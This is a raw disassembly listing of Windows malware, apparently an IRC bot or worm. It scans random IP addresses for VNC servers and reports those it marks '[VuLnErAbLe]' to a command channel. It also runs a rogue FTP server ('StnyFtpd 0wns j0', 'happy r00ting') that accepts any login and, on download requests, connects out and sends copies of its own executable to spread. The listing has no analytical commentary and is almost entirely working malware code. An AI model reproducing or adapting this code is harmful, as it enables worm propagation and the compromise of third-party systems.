arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_4029E1 xor esi, esi test edi, edi jle short loc_4029DB loc_4029B4: ; CODE XREF: sub_4029A4+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_427364 ; send cmp eax, 0FFFFFFFFh jz short loc_4029E1 test eax, eax jz short loc_4029E1 add esi, eax cmp esi, edi jl short loc_4029B4 loc_4029DB: ; CODE XREF: sub_4029A4+Ej push 1 pop eax loc_4029DE: ; CODE XREF: sub_4029A4+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4029E1: ; CODE XREF: sub_4029A4+8j ; sub_4029A4+2Bj ... xor eax, eax jmp short loc_4029DE sub_4029A4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_41DE64 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_427394 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_402A13 push eax jmp short loc_402A47 ; --------------------------------------------------------------------------- loc_402A13: ; CODE XREF: .packed:00402A0Ej lea eax, [ebp+0Ch] push eax call dword_427354 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_427314 ; htons mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4272BC ; connect cmp eax, 0FFFFFFFFh jnz short loc_402A52 push ebx loc_402A47: ; CODE XREF: .packed:00402A11j call dword_4273AC ; closesocket jmp loc_402C4E ; --------------------------------------------------------------------------- loc_402A52: ; CODE XREF: .packed:00402A44j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40296B add esp, 0Ch test eax, eax jz loc_402C47 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_40F871 add esp, 10h cmp eax, esi jnz loc_402C47 cmp dword ptr [ebp-28h], 3 jz short loc_402A9E cmp dword ptr [ebp-20h], 8 jnz loc_402C47 loc_402A9E: ; CODE XREF: .packed:00402A92j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_4029A4 add esp, 0Ch test eax, eax jz loc_402C47 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40296B add esp, 0Ch test eax, eax jz loc_402C47 lea eax, [ebp-2] push 1 push eax push ebx call sub_4029A4 add esp, 0Ch test eax, eax jz loc_402C47 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40296B add esp, 0Ch test eax, eax jz loc_402C47 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_402C47 push 1 push offset dword_424F04 push ebx call sub_4029A4 add esp, 0Ch test eax, eax jz loc_402C47 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40296B add esp, 0Ch test eax, eax jz loc_402C47 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_40F7B5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_402BD6 push edi push esi push ebx call sub_40296B add esp, 0Ch loc_402BD6: ; CODE XREF: .packed:00402BC9j and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSVulner ; "VNC %d.%d %s: %s - [VuLnErAbLe]" push 200h push eax call sub_40E7AB push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax push offset aF_0 ; "#f" push dword ptr [ebp+8] call sub_4084CC lea eax, [ebp-24Ch] push eax call sub_407A4E mov eax, [ebp+0B0h] add esp, 34h imul eax, 38h inc dword_41E100[eax] push ebx lea eax, dword_41E100[eax] call dword_41A1C0 ; closesocket push 1 pop eax jmp short loc_402C50 ; --------------------------------------------------------------------------- loc_402C47: ; CODE XREF: .packed:00402A63j ; .packed:00402A88j ... push ebx call dword_41A1C0 ; closesocket loc_402C4E: ; CODE XREF: .packed:00402A4Dj xor eax, eax loc_402C50: ; CODE XREF: .packed:00402C45j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C55 proc near ; DATA XREF: sub_4034A7+124o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_4C8 = dword ptr -4C8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = byte ptr -238h var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi call dword_41A198 ; WSAStartup mov eax, [ebp+var_4C8] push edi push ebx push 2 mov dword_424F0C, eax call dword_41A1C4 ; socket mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call dword_41A19C ; setsockopt lea eax, [ebp+var_18] push eax push 8004667Eh push esi call dword_41A1A0 ; ioctlsocket mov ax, word ptr dword_424F0C mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call dword_41A1B4 ; htons mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call dword_41A1A4 ; bind test eax, eax jge short loc_402D12 mov eax, ebx jmp loc_403227 ; --------------------------------------------------------------------------- loc_402D12: ; CODE XREF: sub_402C55+B4j push 0Ah push esi call dword_41A1A8 ; listen mov [ebp+var_228], ebx mov ebx, dword_41A1C8 mov [ebp+var_224], esi mov [ebp+var_4], esi loc_402D30: ; CODE XREF: sub_402C55+112j ; sub_402C55+5CAj push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor edi, edi lea eax, [ebp+var_438] push edi push edi push edi push eax mov eax, [ebp+var_4] inc eax push eax call dword_41A1CC ; select cmp eax, 0FFFFFFFFh jz loc_403224 cmp [ebp+var_4], edi mov [ebp+arg_0], edi jl short loc_402D30 loc_402D69: ; CODE XREF: sub_402C55+5C4j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_40E800 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_40E800 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_419A30 ; __WSAFDIsSet test eax, eax jz loc_403212 cmp edi, [ebp+var_C] jnz loc_402E2C lea eax, [ebp+var_24] mov [ebp+var_24], 10h push eax lea eax, [ebp+var_238] push eax push [ebp+var_C] call dword_41A1AC ; accept cmp eax, 0FFFFFFFFh jz loc_403212 xor ecx, ecx cmp [ebp+var_228], esi jbe short loc_402DF6 lea edx, [ebp+var_224] jmp short loc_402DE3 ; --------------------------------------------------------------------------- loc_402DE0: ; CODE XREF: sub_402C55+19Fj mov edx, [ebp+arg_0] loc_402DE3: ; CODE XREF: sub_402C55+189j cmp [edx], eax jz short loc_402DF6 inc ecx add edx, 4 cmp ecx, [ebp+var_228] mov [ebp+arg_0], edx jb short loc_402DE0 loc_402DF6: ; CODE XREF: sub_402C55+181j ; sub_402C55+190j cmp ecx, [ebp+var_228] jnz short loc_402E14 cmp [ebp+var_228], 40h jnb short loc_402E14 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_402E14: ; CODE XREF: sub_402C55+1A7j ; sub_402C55+1B0j cmp eax, [ebp+var_4] jle short loc_402E1C mov [ebp+var_4], eax loc_402E1C: ; CODE XREF: sub_402C55+1C2j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_403212 ; --------------------------------------------------------------------------- loc_402E2C: ; CODE XREF: sub_402C55+14Fj push esi lea eax, [ebp+var_29C] push 64h push eax push edi call dword_41A1BC ; recv test eax, eax jg short loc_402E93 mov edx, [ebp+var_228] xor ecx, ecx cmp edx, esi jbe short loc_402E87 lea eax, [ebp+var_224] loc_402E53: ; CODE XREF: sub_402C55+208j cmp [eax], edi jz short loc_402E61 inc ecx add eax, 4 cmp ecx, edx jb short loc_402E53 jmp short loc_402E87 ; --------------------------------------------------------------------------- loc_402E61: ; CODE XREF: sub_402C55+200j dec edx cmp ecx, edx jnb short loc_402E81 lea eax, [ebp+ecx*4+var_224] loc_402E6D: ; CODE XREF: sub_402C55+22Aj mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_402E6D loc_402E81: ; CODE XREF: sub_402C55+20Fj dec [ebp+var_228] loc_402E87: ; CODE XREF: sub_402C55+1F6j ; sub_402C55+20Aj push edi call dword_41A1C0 ; closesocket jmp loc_403212 ; --------------------------------------------------------------------------- loc_402E93: ; CODE XREF: sub_402C55+1EAj lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS ; "%s %s" push eax call sub_40F871 lea eax, [ebp+var_AC] push offset aUser ; "USER" push eax call sub_40FB80 add esp, 18h test eax, eax jnz short loc_402ED7 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4031FD ; --------------------------------------------------------------------------- loc_402ED7: ; CODE XREF: sub_402C55+273j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_402EFB push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4031FD ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_402C55+297j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_402F1F push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_4031FD ; --------------------------------------------------------------------------- loc_402F1F: ; CODE XREF: sub_402C55+2BBj lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_402F43 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4031FD ; --------------------------------------------------------------------------- loc_402F43: ; CODE XREF: sub_402C55+2DFj lea eax, [ebp+var_AC] push offset off_41E030 push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_402F67 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4031FD ; --------------------------------------------------------------------------- loc_402F67: ; CODE XREF: sub_402C55+303j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_402FA2 lea eax, [ebp+var_334] push offset aA_0 ; "A" push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_402FA2 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4031FD ; --------------------------------------------------------------------------- loc_402FA2: ; CODE XREF: sub_402C55+327j ; sub_402C55+33Ej lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_402FDD lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_402FDD push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4031FD ; --------------------------------------------------------------------------- loc_402FDD: ; CODE XREF: sub_402C55+362j ; sub_402C55+379j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40302B push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_40E730 pop ecx push eax lea eax, [ebp+var_124] loc_40301B: ; CODE XREF: sub_402C55+415j push eax push [ebp+arg_0] call ebx ; send mov edi, [ebp+arg_0] xor esi, esi jmp loc_403200 ; --------------------------------------------------------------------------- loc_40302B: ; CODE XREF: sub_402C55+39Dj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40306C push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_40E730 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_40301B ; --------------------------------------------------------------------------- loc_40306C: ; CODE XREF: sub_402C55+3EBj lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_403140 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_40F871 lea eax, [ebp+var_F8] push eax call sub_40FB66 mov [ebp+var_8], eax lea eax, [ebp+var_2D0] push eax call sub_40FB66 mov [ebp+arg_0], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_40E800 add esp, 34h lea eax, [ebp+var_F8] push [ebp+arg_0] push [ebp+var_8] push offset aXX ; "%x%x\n" push eax call sub_40EE10 push 10h lea eax, [ebp+var_F8] push esi push eax call sub_40FAC4 add esp, 1Ch mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_40EE10 add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_4031FD ; --------------------------------------------------------------------------- loc_403140: ; CODE XREF: sub_402C55+42Cj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_4031DE push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_40322E pop ecx cmp eax, 1 pop ecx jnz short loc_4031D4 call sub_4032AB cmp eax, 1 jnz short loc_403200 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_48] push eax lea eax, [ebp+var_8DC] push offset dword_41DEB0 push eax call sub_40EE10 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_4084CC lea eax, [ebp+var_8DC] push eax call sub_407A4E add esp, 24h jmp short loc_403200 ; --------------------------------------------------------------------------- loc_4031D4: ; CODE XREF: sub_402C55+522j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4031FD ; --------------------------------------------------------------------------- loc_4031DE: ; CODE XREF: sub_402C55+500j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_403200 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4031FD: ; CODE XREF: sub_402C55+27Dj ; sub_402C55+2A1j ... push edi call ebx ; send loc_403200: ; CODE XREF: sub_402C55+3D1j ; sub_402C55+52Cj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_40E800 add esp, 0Ch loc_403212: ; CODE XREF: sub_402C55+146j ; sub_402C55+173j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_402D69 jmp loc_402D30 ; --------------------------------------------------------------------------- loc_403224: ; CODE XREF: sub_402C55+106j push 1 pop eax loc_403227: ; CODE XREF: sub_402C55+B8j pop edi pop esi pop ebx leave retn 4 sub_402C55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40322E proc near ; CODE XREF: sub_402C55+518p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_41A198 ; WSAStartup push 0 push 1 push 2 call dword_41A1C4 ; socket push [ebp+arg_0] mov dword_424F08, eax mov [ebp+var_10], 2 call dword_41A1B0 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_41A1B4 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_424F08 call dword_41A1B8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4032A6 push dword_424F08 call dword_41A1C0 ; closesocket call dword_41A194 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4032A6: ; CODE XREF: sub_40322E+60j push 1 pop eax leave retn sub_40322E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4032AB proc near ; CODE XREF: sub_402C55+524p var_1104 = byte ptr -1104h var_104 = byte ptr -104h push ebp mov ebp, esp mov eax, 1104h call sub_40EC80 push esi push edi lea eax, [ebp+var_104] push 104h xor edi, edi push eax push edi call dword_41A078 ; GetModuleFileNameA lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_40FF46 mov esi, eax pop ecx cmp esi, edi pop ecx jz short loc_403352 push 2 push edi push esi call sub_40FE9A push esi call sub_40FD42 push edi push edi push esi call sub_40FE9A add esp, 1Ch loc_403302: ; CODE XREF: sub_4032AB+8Ej ; sub_4032AB+A5j test byte ptr [esi+0Ch], 10h jnz short loc_403352 push 1000h lea eax, [ebp+var_1104] push edi push eax call sub_40E800 push esi push 800h lea eax, [ebp+var_1104] push 1 push eax call sub_40FC5A add esp, 1Ch test byte ptr [esi+0Ch], 20h jnz short loc_403352 cmp eax, edi jle short loc_403302 push edi push eax lea eax, [ebp+var_1104] push eax push dword_424F08 call dword_41A1C8 ; send jmp short loc_403302 ; --------------------------------------------------------------------------- loc_403352: ; CODE XREF: sub_4032AB+3Bj ; sub_4032AB+5Bj ... push esi call sub_40FC04 pop ecx push dword_424F08 call dword_41A1C0 ; closesocket call dword_41A194 ; WSACleanup push 1 pop eax pop edi pop esi leave retn sub_4032AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403372 proc near ; CODE XREF: sub_40997B+3F88p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset dword_41E244 push eax xor ebx, ebx call sub_40EE10 cmp dword_41E0F8, ebx pop ecx pop ecx mov edi, 200h jz short loc_4033E0 push esi mov esi, offset dword_41E100 loc_4033A5: ; CODE XREF: sub_403372+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_41E234 push eax call sub_40EE10 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_40FF60 add esi, 38h add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_4033A5 pop esi loc_4033E0: ; CODE XREF: sub_403372+2Bj push ebx lea eax, [ebp+var_400] push offset dword_41E220 push eax call sub_40EE10 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_40FF60 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4084CC lea eax, [ebp+var_200] push eax call sub_407A4E add esp, 30h pop edi pop ebx leave retn sub_403372 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403430 proc near ; CODE XREF: sub_40997B+33BFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_40E41E test eax, eax pop ecx jle short loc_40346C mov eax, [ebp+arg_C] push dword_424F18[eax*8] call dword_4273A0 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset dword_41E29C push eax call sub_40EE10 add esp, 0Ch jmp short loc_40347F ; --------------------------------------------------------------------------- loc_40346C: ; CODE XREF: sub_403430+13j lea eax, [ebp+var_200] push offset unk_41E274 push eax call sub_40EE10 pop ecx pop ecx loc_40347F: ; CODE XREF: sub_403430+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4084CC lea eax, [ebp+var_200] push eax call sub_407A4E add esp, 18h leave retn sub_403430 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034A7 proc near ; CODE XREF: sub_4039C6+4Fp var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh jz loc_40362A imul eax, 38h xor ebx, ebx cmp dword_41E104[eax], ebx jz loc_40362A push 5 call sub_40E41E test eax, eax pop ecx jnz loc_40362A push esi push edi push ebx call sub_4101B6 push eax call sub_41018E pop ecx pop ecx call sub_410198 cdq mov ecx, 0FC17h mov edi, offset dword_426F1C idiv ecx push 104h push edi push ebx mov dword_427128, ebx add edx, 3E8h mov dword_42712C, edx call dword_41A078 ; GetModuleFileNameA push 103h mov esi, offset dword_427020 push offset byte_41FCA4 push esi call sub_410090 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_426F18, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4271B0, eax jnz short loc_403577 lea eax, [ebp+arg_10] push eax push offset dword_427130 call sub_410090 add esp, 0Ch mov dword_4271B4, 1 jmp short loc_403591 ; --------------------------------------------------------------------------- loc_403577: ; CODE XREF: sub_4034A7+B1j lea eax, [ebp+arg_90] push eax push offset dword_427130 call sub_410090 add esp, 0Ch mov dword_4271B4, ebx loc_403591: ; CODE XREF: sub_4034A7+CEj push esi push edi push dword_42712C lea eax, [ebp+var_204] push offset dword_41E304 push eax call sub_40EE10 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40E1D6 add esp, 20h mov dword_427124, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_426F18 push offset sub_402C55 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, dword_427124 pop edi imul ecx, 234h cmp eax, ebx pop esi mov dword_42D2EC[ecx], eax jz short loc_403602 loc_4035F0: ; CODE XREF: sub_4034A7+159j cmp dword_4271B8, ebx jnz short loc_40361D push 32h call dword_41A060 ; Sleep jmp short loc_4035F0 ; --------------------------------------------------------------------------- loc_403602: ; CODE XREF: sub_4034A7+147j call dword_41A07C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset dword_41E2C8 push eax call sub_40EE10 add esp, 0Ch loc_40361D: ; CODE XREF: sub_4034A7+14Fj lea eax, [ebp+var_204] push eax call sub_407A4E pop ecx loc_40362A: ; CODE XREF: sub_4034A7+13j ; sub_4034A7+24j ... pop ebx leave retn sub_4034A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40362D proc near ; CODE XREF: sub_4037AE:loc_40381Fp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:424F18h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_40E940 add esp, 0Ch push [ebp+arg_0] call dword_427248 ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_427310 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_40E940 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40362D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403675 proc near ; CODE XREF: sub_4037AE+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_40E730 cmp eax, 0Fh pop ecx jbe short loc_40369D xor eax, eax jmp short loc_40370E ; --------------------------------------------------------------------------- loc_40369D: ; CODE XREF: sub_403675+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset dword_41E35C push [ebp+arg_0] call sub_40F871 add esp, 18h cmp [ebp+var_C], esi jnz short loc_4036CA call sub_410198 mov [ebp+var_C], eax loc_4036CA: ; CODE XREF: sub_403675+4Bj cmp [ebp+var_8], esi jnz short loc_4036D7 call sub_410198 mov [ebp+var_8], eax loc_4036D7: ; CODE XREF: sub_403675+58j cmp [ebp+var_4], esi jnz short loc_4036E4 call sub_410198 mov [ebp+var_4], eax loc_4036E4: ; CODE XREF: sub_403675+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4036F0 call sub_410198 loc_4036F0: ; CODE XREF: sub_403675+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_424F18[ecx*8], eax loc_40370E: ; CODE XREF: sub_403675+26j pop esi leave retn sub_403675 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403711 proc near ; CODE XREF: sub_4037AE+BBp ; sub_408318+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_427394 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40373A xor eax, eax jmp short loc_4037A9 ; --------------------------------------------------------------------------- loc_40373A: ; CODE XREF: sub_403711+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_427314 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4273B0 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4272BC ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4272FC ; select push esi mov edi, eax call dword_4273AC ; closesocket xor eax, eax cmp edi, ebx setnle al loc_4037A9: ; CODE XREF: sub_403711+27j pop edi pop esi pop ebx leave retn sub_403711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4037AE proc near ; DATA XREF: sub_4039C6+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep 